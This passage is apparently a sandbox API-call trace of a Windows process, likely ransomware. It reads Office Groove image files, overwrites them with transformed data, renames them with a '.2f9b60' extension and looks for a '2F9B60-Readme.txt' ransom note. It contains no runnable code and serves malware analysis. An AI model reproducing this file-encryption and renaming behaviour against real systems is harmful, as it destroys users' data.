lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x1daaf790*=0x130, lpOverlapped=0x0) returned 1 [0140.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0140.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d130) returned 1 [0140.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0140.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d9d0) returned 1 [0140.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0140.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0140.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6c0) returned 1 [0140.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0140.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e4c0 [0140.989] wcscpy (in: _Dest=0x4205e4c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" [0140.989] wcscat (in: _Dest=0x4205e4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.2f9b60" [0140.989] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.2f9b60", NtPathName=0x1daaf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b7997f0 [0140.990] NtSetInformationFile (FileHandle=0x1b4c, IoStatusBlock=0x1daaf850, FileInformation=0x1b7997f0, Length=0xe2, FileInformationClass=0xa) returned 0x0 [0145.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7997f0) returned 1 [0145.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fcea0) returned 1 [0145.482] NtQueryInformationFile (in: FileHandle=0x1b4c, IoStatusBlock=0x1daaf818, FileInformation=0x1daaf828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1daaf818, FileInformation=0x1daaf828) returned 0x0 [0145.482] NtSetInformationFile (FileHandle=0x1b4c, IoStatusBlock=0x1daaf818, FileInformation=0x1daaf828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e4c0) returned 1 [0145.997] FlushFileBuffers (hFile=0x1b4c) returned 1 [0146.067] CloseHandle (hObject=0x1b4c) returned 1 [0146.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12100 [0146.095] wcscpy (in: _Dest=0x1ce12100, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.096] wcscat (in: _Dest=0x1ce12100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12100) returned 1 [0147.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 Thread: id = 1840 os_tid = 0xf64 [0132.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp")) returned 0x20 [0136.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0138.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f84 [0144.191] GetFileSizeEx (in: hFile=0x1f84, lpFileSize=0x29edf7a0 | out: lpFileSize=0x29edf7a0*=2104) returned 1 [0144.191] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.191] ReadFile (in: hFile=0x1f84, lpBuffer=0x29edf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29edf768, lpOverlapped=0x0 | out: lpBuffer=0x29edf720*, lpNumberOfBytesRead=0x29edf768*=0x4, lpOverlapped=0x0) returned 1 [0144.272] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0144.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0144.273] NtQuerySystemTime (in: CurrentTime=0x29edf660 | out: CurrentTime=0x29edf660*=132462177495178000) returned 0x0 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x38b5bcea [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x1cb5d866 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x20a82cda [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x4fddc6d6 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x2c0d98a2 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x2da9d774 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x63c37b65 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x342cd86b [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x6e497f1 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x5c2e6866 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x13b9d0a8 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x7438a07f [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x34f575c4 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x384efb21 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x5f8a47b6 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x1b8b2754 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x776f8473 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x63e42a74 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x696c377c [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x39505111 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x12f08bba [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x7b36c893 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x2f10d622 [0144.273] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x6b945581 [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x6f914663 [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x6a91092 [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x1aea0c06 [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x7e391e1c [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x374b3b13 [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x79f5038d [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x949819e [0144.274] RtlRandomEx (in: Seed=0x29edf650 | out: Seed=0x29edf650) returned 0x6df8fcd4 [0144.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0144.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0144.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0144.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0144.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0144.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0144.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0144.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4234c1b0 [0144.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42335950 [0144.284] ReadFile (in: hFile=0x1f84, lpBuffer=0x4234c1b0, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x29edf650, lpOverlapped=0x0 | out: lpBuffer=0x4234c1b0*, lpNumberOfBytesRead=0x29edf650*=0x838, lpOverlapped=0x0) returned 1 [0144.285] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.285] WriteFile (in: hFile=0x1f84, lpBuffer=0x42335950*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x29edf654, lpOverlapped=0x0 | out: lpBuffer=0x42335950*, lpNumberOfBytesWritten=0x29edf654*=0x838, lpOverlapped=0x0) returned 1 [0144.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0144.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0144.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0144.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42335950) returned 1 [0144.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4234c1b0) returned 1 [0144.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0144.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0144.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd866d0 [0144.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0144.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a1b0 [0144.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0144.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0144.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd86f10 [0144.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0144.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0144.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0144.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a1b0) returned 1 [0144.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0144.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x138) returned 0x188990 [0144.332] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.332] WriteFile (in: hFile=0x1f84, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x29edf770, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x29edf770*=0x138, lpOverlapped=0x0) returned 1 [0144.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188990) returned 1 [0144.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f10) returned 1 [0144.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0144.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd866d0) returned 1 [0144.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0144.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0144.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0144.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0144.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced04a0 [0144.357] wcscpy (in: _Dest=0x1ced04a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" [0144.357] wcscat (in: _Dest=0x1ced04a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.2f9b60" [0144.357] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.2f9b60", NtPathName=0x29edf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e380 [0144.358] NtSetInformationFile (FileHandle=0x1f84, IoStatusBlock=0x29edf830, FileInformation=0x1b78e380, Length=0xea, FileInformationClass=0xa) returned 0x0 [0145.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e380) returned 1 [0145.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420520b0) returned 1 [0145.977] NtQueryInformationFile (in: FileHandle=0x1f84, IoStatusBlock=0x29edf7f8, FileInformation=0x29edf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29edf7f8, FileInformation=0x29edf808) returned 0x0 [0145.977] NtSetInformationFile (FileHandle=0x1f84, IoStatusBlock=0x29edf7f8, FileInformation=0x29edf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced04a0) returned 1 [0146.041] FlushFileBuffers (hFile=0x1f84) returned 1 [0146.131] CloseHandle (hObject=0x1f84) returned 1 [0146.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050b740 [0146.132] wcscpy (in: _Dest=0x2050b740, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.132] wcscat (in: _Dest=0x2050b740, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b740) returned 1 [0147.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 Thread: id = 1841 os_tid = 0xad8 [0132.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg")) returned 0x20 [0136.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg", dwFileAttributes=0x20) returned 1 [0138.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messagehistoryiconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1edc [0140.325] GetFileSizeEx (in: hFile=0x1edc, lpFileSize=0x2ad8fb40 | out: lpFileSize=0x2ad8fb40*=8950) returned 1 [0140.325] SetFilePointerEx (in: hFile=0x1edc, liDistanceToMove=0x22f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.325] ReadFile (in: hFile=0x1edc, lpBuffer=0x2ad8fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ad8fb08, lpOverlapped=0x0 | out: lpBuffer=0x2ad8fac0*, lpNumberOfBytesRead=0x2ad8fb08*=0x4, lpOverlapped=0x0) returned 1 [0140.331] SetFilePointerEx (in: hFile=0x1edc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a660 [0140.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0140.332] NtQuerySystemTime (in: CurrentTime=0x2ad8fa00 | out: CurrentTime=0x2ad8fa00*=132462177455710000) returned 0x0 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x2a0b95b2 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x2ebb7eb8 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x33186b15 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x496156e2 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x21861be7 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x5f2ece6b [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x10e324cd [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x5665ce62 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x75a6a750 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x6cd77cd3 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x67957a6a [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x3ab2e6cc [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x23e010f5 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x1f0766d2 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x22370ba6 [0140.332] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x76790c52 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x454ddedf [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x36ddcdd9 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x4a9f1b3 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x2eea3818 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x61bdaaa6 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x61a79bc8 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x4ea42e45 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x77bce70c [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x519eaf60 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x55678572 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0xc7f96b8 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x49eea228 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x3a483c13 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x22370ba6 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x60bf36f3 [0140.333] RtlRandomEx (in: Seed=0x2ad8f9f0 | out: Seed=0x2ad8f9f0) returned 0x246b5648 [0140.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0140.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0140.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0140.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0140.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0140.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0140.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0140.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e89a0 [0140.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ec5b0 [0140.344] ReadFile (in: hFile=0x1edc, lpBuffer=0x421e89a0, nNumberOfBytesToRead=0x22f6, lpNumberOfBytesRead=0x2ad8f9f0, lpOverlapped=0x0 | out: lpBuffer=0x421e89a0*, lpNumberOfBytesRead=0x2ad8f9f0*=0x22f6, lpOverlapped=0x0) returned 1 [0140.361] SetFilePointerEx (in: hFile=0x1edc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.361] WriteFile (in: hFile=0x1edc, lpBuffer=0x421ec5b0*, nNumberOfBytesToWrite=0x22f6, lpNumberOfBytesWritten=0x2ad8f9f4, lpOverlapped=0x0 | out: lpBuffer=0x421ec5b0*, lpNumberOfBytesWritten=0x2ad8f9f4*=0x22f6, lpOverlapped=0x0) returned 1 [0141.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0141.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0141.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc30) returned 1 [0141.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ec5b0) returned 1 [0141.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e89a0) returned 1 [0141.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x42059f60 [0141.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0141.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc30) returned 1 [0141.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x42059ba0 [0141.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0141.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc00) returned 1 [0141.110] 